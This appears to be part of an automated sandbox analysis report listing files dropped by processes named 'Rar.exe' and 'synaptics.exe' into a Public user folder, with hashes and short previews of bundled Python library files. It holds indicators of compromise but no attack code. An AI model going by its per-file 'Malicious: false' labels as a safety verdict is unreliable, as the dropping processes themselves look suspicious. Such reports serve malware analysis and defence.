Preview:	from typing import Any, Optional, Union....def load_lib(name: str, cdecl: str) -> Any : .....def c_ulong(x: int ) -> Any : .....def c_ulonglong(x: int ) -> Any : .....def c_size_t(x: int) -> Any : .....def create_string_buffer(init_or_size: Union[bytes,int], size: Optional[int]) -> Any : .....def get_c_string(c_string: Any) -> bytes : .....def get_raw_buffer(buf: Any) -> bytes : .....def c_uint8_ptr(data: Union[bytes, memoryview, bytearray]) -> Any : .......class VoidPointer(object):.. def get(self) -> Any : ..... def address_of(self) -> Any : .......class SmartPointer(object):.. def __init__(self, raw_pointer: Any, destructor: Any) -> None : ..... def get(self) -> Any : ..... def release(self) -> Any : .......backend : str..null_pointer : Any..ffi: Any....def load_pycryptodome_raw_lib(name: str, cdecl: str) -> Any : .....def is_buffer(x: Any) -> bool : .....def is_writeable_buffer(x: Any) -> bool : .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\_strxor.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	4.962980810410063
Encrypted:	false
SSDEEP:	96:UKu39PERtoqPAF+GBWM8o5WJ1ks/vnpjOVJ5ApMmGffQTQrXd:UKu39PE5gjBWMNWJzhjOVoMVn0wN
MD5:	1B6AB07C1EA3F1A5F28DB01750AC150F
SHA1:	F477F97925C51BBB4E0DE498700E4589BEB88F51
SHA-256:	08558063C68B9A3C5006F5D78852ECB6CAF6A246CF268E23725DF2DDF7B7F67B
SHA-512:	695B5C48D922E66BFAF1518623E7CFA68F8BD0909F310FD2A494D9DB13DAD34D2C6A9BF23294A5C6990CA4EBAC2BD09D50D5B0E31BD162A7337CC04A9AA8A4C7
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...N...N...N...6R..N...1...N..6...N...N...N...1...N...1...N...1...N.......N.......N....>..N.......N..Rich.N..........PE..L...9..e...........!...%............N........ ...............................`............@..........................$..t...4%..P....@.......................P..@...`!............................... ..@............ ..h............................text............................... ..`.rdata..<.... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc..@....P....... ..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\asn1.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	37233
Entropy (8bit):	4.49642341890235
Encrypted:	false
SSDEEP:	768:pdRLPqWbhH6msz9l3UquMwES5LItw+8hlx:pdRVHU9lkquMwES5LD+8Tx
MD5:	9D11029C7D2E1C72C06B462CA3AA996B
SHA1:	E783B5F0CC01BC86D0C16D3B4F54300D57C214C8
SHA-256:	EEDE3556B282CDC640281A6AB6DF6C7EE20F9BE59C37B01AC09EA32F0F35887E
SHA-512:	33D713F6CA8260831AD984D88F279441819308D7C9A3F7A92770D0731BDD74F90EFA46124FAAEACFE74EEACB84D1F6217CA6D01DED3270DF53A5C7D2311B535F
Malicious:	false
Reputation:	low
Preview:	# -- coding: ascii --..#..# Util/asn1.py : Minimal support for ASN.1 DER binary encoding...#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\asn1.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3885
Entropy (8bit):	4.815634844501543
Encrypted:	false
SSDEEP:	96:Acab6f+hGLbu31eXTTVkwB60oofRTOB+Jk2:AcjuJYTTVkS6IF6+m2
MD5:	1EFE3020CA61E0B1DA7B8680D73F84DA
SHA1:	D996C31812286881EB3D6E3FA28715095EC5587F
SHA-256:	4DB889724654605FF759C5B7D754174D13F71B3B621792E48AD0F9BE0CFCCC57
SHA-512:	12D48E230826E09437536FB35642F434E71D5C219A6B61FAF064B785CD09E131F7595AC7DBE1A359C81B23DC24B3436F6AFDF9CE7EBD6961EBEDAF23F5F81F28
Malicious:	false
Reputation:	low
Preview:	from typing import Optional, Sequence, Union, Set, Iterable....__all__ = ['DerObject', 'DerInteger', 'DerOctetString', 'DerNull',.. 'DerSequence', 'DerObjectId', 'DerBitString', 'DerSetOf']....# TODO: Make the encoded DerObjects their own type, so that DerSequence and..# DerSetOf can check their contents better....class BytesIO_EOF:.. def __init__(self, initial_bytes: bytes) -> None: ..... def set_bookmark(self) -> None: ..... def data_since_bookmark(self) -> bytes: ..... def remaining_data(self) -> int: ..... def read(self, length: int) -> bytes: ..... def read_byte(self) -> bytes: .......class DerObject:.. payload: bytes.. def __init__(self, asn1Id: Optional[int]=None, payload: Optional[bytes]=..., implicit: Optional[int]=None,.. constructed: Optional[bool]=False, explicit: Optional[int]=None) -> None: ..... def encode(self) -> bytes: ..... def decode(self, der_encoded: bytes, strict: bool=...) -> DerObject: .......class DerInte

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\number.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	97896
Entropy (8bit):	4.090850897275891
Encrypted:	false
SSDEEP:	1536:EnYL5QeQEUkknbkEEpeoc06BsJ7rajyCJrOiVDtT5U1464iPpAji6R449qVnSPt4:0YTXrtNajhJrOs5uPqe6CJn6KEVama39
MD5:	3602B83C3AC94CFAAFA24C3A8C41895B
SHA1:	5F4C1EB93B011F12A117C509CE7A878420D19307
SHA-256:	6CE48B150797316B1DC24B6AD759F0A3F2D3D6DA339E5BCCEDEC9342800450E5
SHA-512:	BC2F5B9DEB7D7678A67092CCCB1BEEA42E2B6BD9E028F9764C675340E247A8967D7704F054A1E4035C9698C8F7DD4FB3548502E157892E2DE36ADF917C3BD311
Malicious:	false
Reputation:	low
Preview:	#..# number.py : Number-theoretic functions..#..# Part of the Python Cryptography Toolkit..#..# Written by Andrew M. Kuchling, Barry A. Warsaw, and others..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\number.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.898132103946567
Encrypted:	false
SSDEEP:	24:1RE0x1JCvE59p+vE59eE59iLdUKhGnE597pcSpShFE59cSpShFE5vUyrfunVshdU:bxX7Z+crYnJescsje
MD5:	81227B5A65D7EF13CB0247C9B7225673
SHA1:	8954A181B5E8D7B31145E5C139935B9780E4D1EB
SHA-256:	6BD67E3A908997245FB373BC1C4971BAC0CFDD5FC17D4B7CDBD3F51AD6774AF1
SHA-512:	12F42616F440853BF94758392116879BE87073F515AE0C33454BFAC2D80140DE0FCC0469E34D8E06B42436A3EDEF4B5BE8D0E7C5EFCE413CE0F89041556CCA59
Malicious:	false
Reputation:	low
Preview:	from typing import List, Optional, Callable......def ceil_div(n: int, d: int) -> int: .....def size (N: int) -> int: .....def getRandomInteger(N: int, randfunc: Optional[Callable]=None) -> int: .....def getRandomRange(a: int, b: int, randfunc: Optional[Callable]=None) -> int: .....def getRandomNBitInteger(N: int, randfunc: Optional[Callable]=None) -> int: .....def GCD(x: int,y: int) -> int: .....def inverse(u: int, v: int) -> int: .....def getPrime(N: int, randfunc: Optional[Callable]=None) -> int: .....def getStrongPrime(N: int, e: Optional[int]=0, false_positive_prob: Optional[float]=1e-6, randfunc: Optional[Callable]=None) -> int: .....def isPrime(N: int, false_positive_prob: Optional[float]=1e-6, randfunc: Optional[Callable]=None) -> bool: .....def long_to_bytes(n: int, blocksize: Optional[int]=0) -> bytes: .....def bytes_to_long(s: bytes) -> int: .....def long2str(n: int, blocksize: Optional[int]=0) -> bytes: .....def str2long(s: bytes) -> int: .......sieve_base: List[int]..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\py3compat.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6010
Entropy (8bit):	4.8279694547928065
Encrypted:	false
SSDEEP:	96:WKYFQHvoA6pDLeAIeCGtFaVBS3eKQM4ks58B1S9+Ow34eHPwAEx2pdDSSUSAJn7e:W9QHvilIUwpK5lBssOk4eldSE4n7R0ua
MD5:	11D063AE5BC40D2D943DF399F95DDA04
SHA1:	6D8C8391EEBDAE9FE2724F791B5D87A16E4D77CE
SHA-256:	2CF7955872D7D8A23F12B9340AC867E8E342102FED7B80DBA25B6303D7992155
SHA-512:	B2E2C98C03916DE5BB15F36B9A1972769825E1E514AFEA153AC292F3FFF716E589FCF009BD42459D5B7A35C456A3645F2D3D0E59DAFEF198563CDBF83F2B2245
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# Util/py3compat.py : Compatibility code for handling Py3k / Python 2.x..#..# Written in 2010 by Thorsten Behrens..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWA

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\py3compat.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	870
Entropy (8bit):	4.791491758318878
Encrypted:	false
SSDEEP:	24:1REgT3JtgPnrnIW9h3MnBbRFNU+U4Fu31954iEe1oHhASLjPMQ:pZtgMcUTkDTtoBjLt
MD5:	E7EC097AA59EF78A17CCA1860BE69741
SHA1:	A25E52635BA19E8324128B8900378458BDAA3AF2
SHA-256:	A1913976F178C28B8A7C117093233AAC0D3E772C4876DA9C084382BB95F2AC2D
SHA-512:	675F6249EF76BDA58D64ABF2BEB84DA58C04A4054F380BC3C2D63CA0D0CAB3342FB36A43925C6176D494F70AC1AEFD06DDB809F28F4A3412E857ACA1F42E6451
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Any, Optional, IO....Buffer = Union[bytes, bytearray, memoryview]....import sys....def b(s: str) -> bytes: .....def bchr(s: int) -> bytes: .....def bord(s: bytes) -> int: .....def tobytes(s: Union[bytes, str]) -> bytes: .....def tostr(b: bytes) -> str: .....def bytestring(x: Any) -> bool: .......def is_native_int(s: Any) -> bool: .....def is_string(x: Any) -> bool: .....def is_bytes(x: Any) -> bool: .......def BytesIO(b: bytes) -> IO[bytes]: .....def StringIO(s: str) -> IO[str]: .......if sys.version_info[0] == 2:.. from sys import maxint.. iter_range = xrange....else:.. from sys import maxsize as maxint.. iter_range = range....class FileNotFoundError:.. def __init__(self, err: int, msg: str, filename: str) -> None:.. pass....def _copy_bytes(start: Optional[int], end: Optional[int], seq: Buffer) -> bytes: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\strxor.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5587
Entropy (8bit):	4.7939511946106
Encrypted:	false
SSDEEP:	96:MwDqrYJALrYJHdt3EHGuIWYIzbJRSTdOqvdJLb9YmPhv+h:9qrskrs9t3q/Ik8gqlRdhy
MD5:	C08EBC91E1A45FED150F8E5608E2AF15
SHA1:	80AAA3BF9159A68321B464D3DA455D3EB3713F36
SHA-256:	3E36AE472CE5CFBA3B02DBF0CC2A132F868C6DA8002F5B8E895C873DDB79A029
SHA-512:	ACD238B1FC40197C4EA5DAFABD79A2BDBE4BE684F4BC0AB4361EAAD16DA92220A80D26E805D2FDDE01295FF959A91F4A830EE02F4FCB91F3BB0DEDBA295C01CD
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\strxor.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	249
Entropy (8bit):	4.800678842548869
Encrypted:	false
SSDEEP:	6:1REYBXyUzrIY3MTDyQdQAY0OXW6ah05gUQdByKj0ah05gv:1REYB3vIY3YyQnrOXAh05VQ6KZh05q
MD5:	81C7899ED070F1D26338977374A4B853
SHA1:	2627B47DA19BB2F2B8E7D25A5A57473C00C86550
SHA-256:	CA7D073C74998CFFB501A2E6E1C99AF62F49272A5FDFB3527769E2A632DFE1A0
SHA-512:	CF5299A774C61A0F84D6E1E4233F426CC9D854D809EEF0D6B1158EC0078E75C54C3141E835DC3D0F376B53EFB8DDE462B49B0A5093C63613B332617966F34D0C
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....def strxor(term1: bytes, term2: bytes, output: Optional[Buffer]=...) -> bytes: .....def strxor_c(term: bytes, c: int, output: Optional[Buffer]=...) -> bytes: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	191
Entropy (8bit):	4.787641890602914
Encrypted:	false
SSDEEP:	3:UFo+CmMRJ4ZdK0CJOAlFGCJ7DkCAZFBVC5uQLCY3qXVLCVDvRqvljhfxXFqYLULZ:UvZdK0pAlV/kCAZ4sdXcVz8ljZRFqI5y
MD5:	CAAC9B613D9F7C76FBB1F59F51BBC300
SHA1:	B085C149A8C6051BE179605BA05E49FDC46ACC7D
SHA-256:	73CF19A80E8AAA2D38047F8D4600D5239F9311AA76D68EC430079E44963B6FA6
SHA-512:	EF4DD006C4B3CFD5C48F94F094C3D3A02FA5A5D8185E13203A7E6715CD64CFA98E9A34764364D08AF0C959A23A700E12AC2E404AD322491CA38E75F0B3FD80CF
Malicious:	false
Reputation:	low
Preview:	__all__ = ['Cipher', 'Hash', 'Protocol', 'PublicKey', 'Util', 'Signature',.. 'IO', 'Math']....version_info = (3, 20, '0')....__version__ = ".".join([str(x) for x in version_info])..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\init.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.320003818965119
Encrypted:	false
SSDEEP:	3:1REvgBk8J0fWQLCfcJAOLRL+2MliHovcoFQy:1REYBb0fWpcFY2MtJN
MD5:	BF77DB2C18C7E4E3E80EA7D09C2D8336
SHA1:	682ADC1869A615EBC5152E303D7F10C9DF4800C1
SHA-256:	748D33339311187C619DF8EAA40C8F1A8B4A4EB3E59DE4CDD90FA30105CD8351
SHA-512:	ADD512240AB6D99FF0B4871C7F96849267CCB8CD5BE8BAB86579D5599434266F1C4C290DF395526C694110BDD67DCDA6970CEF39416AB87798AC78914AD87EB7
Malicious:	false
Reputation:	low
Preview:	from typing import Tuple, Union....version_info : Tuple[int, int, Union[int, str]]..__version__ : str..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\pycache\init.cpython-310.pyc.70592896

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.1601594076577095
Encrypted:	false
SSDEEP:	6:y/LllGtYB21NXYvAL/tdxmAfTwAvrXGl/llYlekkvuPllf8uaHxEM9ArMDPb9tuo:CRlCY6ovkxNXjkkU48Vlhf9oyF
MD5:	4A9BADA14F62DBF16041DF68C8C520DA
SHA1:	207C6E4B2DD19D9D8771F79773F1F643F8DFA860
SHA-256:	BF69AEF92A238EF1C25E2BE9CF6BA71006AFEE5685D193B9593022FCB38A726F
SHA-512:	31F1FCCF6524311E1C711862E257FB065AF0C4D6056A1DD6AF31F07C79AF69892D022C5771CDAB35341089AA7AD626F6E3AA4EEE26173429DD3BD321BBE9B9D1
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s$...g.d...Z.d.Z.d...d.d...e.D.....Z.d.S.).).Z.CipherZ.Hash..ProtocolZ.PublicKeyZ.Util..Signature..IOZ.Math).............0...c....................C...s....g.\|.].}.t.\|.....q.S...)...str)....0..xr....r.....AC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\__init__.py..<listcomp>....s......r....N)...__all__..version_info..join..__version__r....r....r....r......<module>....s..........

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\PyWin32.chm

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	2648456
Entropy (8bit):	7.949054760124481
Encrypted:	false
SSDEEP:	49152:5Nhd+kEm2OzhI+Nngj6fT08X+6KprCITjArEoXnbmhwXxRTirII/1Q9Ti:T2EvngMT0iKprCQArEoXb3/irII/1v
MD5:	236AA06379B48D8F588FA2B7EBDFE9F3
SHA1:	4587C868463649727CCDF7C46636191718BA7F86
SHA-256:	772B99CF23C71C56993FBA2DB86469D399D7DAD43D182E0A59A25DC1C0713B0C
SHA-512:	4F157D940E8151CD7F16FFE9151DA4BEB9FCFF6163C6570078C5E3FB3AEC195EBBE2562E334E27BECDFE8CEEDBF1F7B150FD32A9140B9109D231137471ACF4EA
Malicious:	false
Reputation:	low
Preview:	ITSF....`........t&........\|.{.......".....\|.{......."..`...............x.......T........................i(.............ITSP....T...................M.......L.......N.......j..].!......."..T...............PMGL8................/..../#IDXHDR....;.../#ITBITS..../#STRINGS....6..n./#SYSTEM....../#TOCIDX....;..P./#TOPICS.......`./#URLSTR....3..../#URLTBL....k..H./#WINDOWS....d.L./$FIftiMain....4..../$OBJINST....u.?./$WWAssociativeLinks/..../$WWAssociativeLinks/Property....q../$WWKeywordLinks/..../$WWKeywordLinks/BTree....0..L./$WWKeywordLinks/Data....\|..{./$WWKeywordLinks/Map....w.Z./$WWKeywordLinks/Property....Q ./_winxptheme.html.......&/_winxptheme__CloseThemeData_meth.html...(..+/_winxptheme__DrawThemeBackground_meth.html...E.i%/_winxptheme__DrawThemeText_meth.html.......0/_winxptheme__EnableThemeDialogTexture_meth.html....4.g%/_winxptheme__EnableTheming_meth.html......C+/_winxptheme__GetCurrentThemeName_meth.html....^.W-/_winxptheme__GetThemeAppProperties_meth.html....5._5/_winxptheme_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\_distutils_hack\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6128
Entropy (8bit):	4.5356053660225255
Encrypted:	false
SSDEEP:	96:5KauPveem/xBJCPrGXw+5frsfnCUypLOq6LIrqCWPANPuqlT6+Z:5ePGJ//oKYkpCNsrqoWe6+Z
MD5:	128079C84580147FD04E7E070340CB16
SHA1:	9BD1AE6606CCD247F80960ABBC7D7F78AEEC4B86
SHA-256:	4D27A48545B57DD137AE35376FCF326D2064271084A487960686F8704B94DE4A
SHA-512:	CF9D54474347D15AD1B8B89B2E58B850AD3595EEC54173745BDE86F94F75B39634BE195A3AEF69D71CB709ECFF79C572A66B1458A86FA2779F043A83A5D4CC4C
Malicious:	false
Reputation:	low
Preview:	# don't import any costly modules.import sys.import os...is_pypy = '__pypy__' in sys.builtin_module_names...def warn_distutils_present():. if 'distutils' not in sys.modules:. return. if is_pypy and sys.version_info < (3, 7):. # PyPy for 3.6 unconditionally imports distutils, so bypass the warning. # https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/site.py#L250. return. import warnings.. warnings.warn(. "Distutils was imported before Setuptools, but importing Setuptools ". "also replaces the `distutils` module in `sys.modules`. This may lead ". "to undesirable behaviors or errors. To avoid these issues, avoid ". "using distutils directly, ensure that setuptools is installed in the ". "traditional way (e.g. not an editable install), and/or make sure ". "that setuptools is always imported before distutils.". )...def clear_distutils():. if 'distutils' not

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\_distutils_hack\pycache\init.cpython-310.pyc.21958688

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7565
Entropy (8bit):	5.077960620041668
Encrypted:	false
SSDEEP:	192:CcgPE5vVnnqs8NYd7pqqx0H/8qq/xqqqRuLMJXHge3YbkqZPqqq3KqUCwqEMlkgM:iyvVnnqs+67pqqx0H/8qq/xqqqRuLMXC
MD5:	F1B3F48EEC933CE3FFBF04D9491C7030
SHA1:	D17D3E671239F251D4AC41FE7D131ECFF54FE30A
SHA-256:	0B47CD1E081140003F145547AB73754801F8C5D7996F6D66B1408A3F5508A652
SHA-512:	466A695F9C72ED87A2425BE5C776BAF9A51ACC82F86AF6D93D8C033589C6F3DF9DC76E6F26A893E9701694C3BEA1334B8C01F1674925121FE30BC4B0C7B8DD83
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.d.l.Z.d.d.l.Z.d.e.j.v.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.j.D.].Z.e.e.d.e.....e.j.....q2e...Z.d.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.d.S.)......NZ.__pypy__c....................C...s6...d.t.j.v.r.d.S.t.r.t.j.d.k.r.d.S.d.d.l.}.\|...d.....d.S.).N..distutils)...........r....a....Distutils was imported before Setuptools, but importing Setuptools also replaces the `distutils` module in `sys.modules`. This may lead to undesirable behaviors or errors. To avoid these issues, avoid using distutils directly, ensure that setuptools is installed in the traditional way (e.g. not an editable install), and/or make sure that setuptools is always imported before distutils.)...sys..modules..is_pypy..version_info..warnings..warn).r......r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\_distutils_hack\__init__.py..warn_distutils_present....s....................r....c....................C...sF...d.t.j.v.r.d.S.d.d.l.}.\|...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\_distutils_hack\override.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.171453562658727
Encrypted:	false
SSDEEP:	3:5QW6BMW2y+CBhTEu:+96W2y+4hx
MD5:	012A3E19D518D130A36BEAF917A091C7
SHA1:	358F87C599947263E8ADF079CB2131A522876AF8
SHA-256:	12EFECF8D17A5486780AA774B5B6C0E70B56932D8864F35DF1EB7A18BB759B3A
SHA-512:	76D17C1246B920B7E71F196876A2FCD6A3E102F10933CAC558DD993B6AA794766D657B85E0A7E56A71DF5F14C2F95A9E6576D81163509BB42DEC0FC0E49B9998
Malicious:	false
Reputation:	low
Preview:	__import__('_distutils_hack').do_override().

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\certifi\pycache\init.cpython-310.pyc.61159328

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	272
Entropy (8bit):	5.097538040202817
Encrypted:	false
SSDEEP:	6:y/AJteNbsZvEG/Xg6nCbWjN2o3IaHxEM9Arsq4G:CAjeNQeGVN2ojlBq7
MD5:	92F03D402A2988001BDEDB93D73BD709
SHA1:	27785FB8BA5DB650F11E3A90BCD5F1326C956902
SHA-256:	B795AFDAB8365E5C9193A7C44ED397B36A5C3BFBDAAB9D587A53CE239BF5A0D0
SHA-512:	0D327CCA763A4920B65D437A5ABB072D8D7D243880281E2E8AF5A5467A90733C8D974F10AD256BE1CDB427F206FE2AD1EECC0D97CBEF768C6ECA6A4719B887A3
Malicious:	false
Reputation:	low
Preview:	o.......?..f^........................@...s ...d.d.l.m.Z.m.Z...d.d.g.Z.d.Z.d.S.)......)...contents..wherer....r....z.2024.08.30N)...corer....r......__all__..__version__..r....r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\certifi\__init__.py..<module>....s..........

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\certifi\pycache\core.cpython-310.pyc.70984160

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2103
Entropy (8bit):	4.948477442954396
Encrypted:	false
SSDEEP:	48:tNBUoxmgDZLaFAl/g95K3Q8+epPUHq7J8nH:dUC/mcg955epA1H
MD5:	1DD8E7AAB24773A886ACA66D0C34B858
SHA1:	452361889D3B8117924A4F5715891A6FAE81A3E5
SHA-256:	BE908C0F0FFB373A545E6D830FDF9CD690FD0B8F5A5E3AAF0D4BED5F156C2069
SHA-512:	AB99225657C56D039C2A9F39C4EE682243B493E6F19A683568B96B7F1AC4B4C9C23334095A4F2A8862F028B109590E7C1E66F9C56BB3393E22111A8CB2E973B4
Malicious:	false
Reputation:	low
Preview:	o.......?..fJ........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.d...Z.e.j.d.k.r0d.d.l.m.Z.m.Z...d.a.d.a.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.e.j.d.k.rQd.d.l.m.Z.m.Z...d.a.d.a.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.e.j.e.f...Z.e.e.d.f...Z.....d.d.e.d.e.d.e.d.e.d.e.f.d.d...Z.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.).ze.certifi.py.~~~~~~~~~~..This module returns the installation location of cacert.pem or its contents.......N..returnc....................C...s....t...d.d.d.....d.S.).N)..._CACERT_CTX..__exit__..r....r.....>C:\Users\Public\QExvbmVOb25l\lib\site-packages\certifi\core.py..exit_cacert_ctx....s......r....)...........)...as_file..filesc....................C...s4...t.d.u.r.t.t.d.....d.....a.t.t.......a.t...t.....t.S...N..certifi..cacert.pem)..._CACERT_PATHr....r......joinpathr......str..__enter__..atexit..registerr....r....r....r....r......where....s..............r....c....................C...s....t.d.....d...j.d.d...S...Nr....r......ascii....encoding).r....r......r

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\init.cpython-310.pyc.61116704

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	5.709452859356648
Encrypted:	false
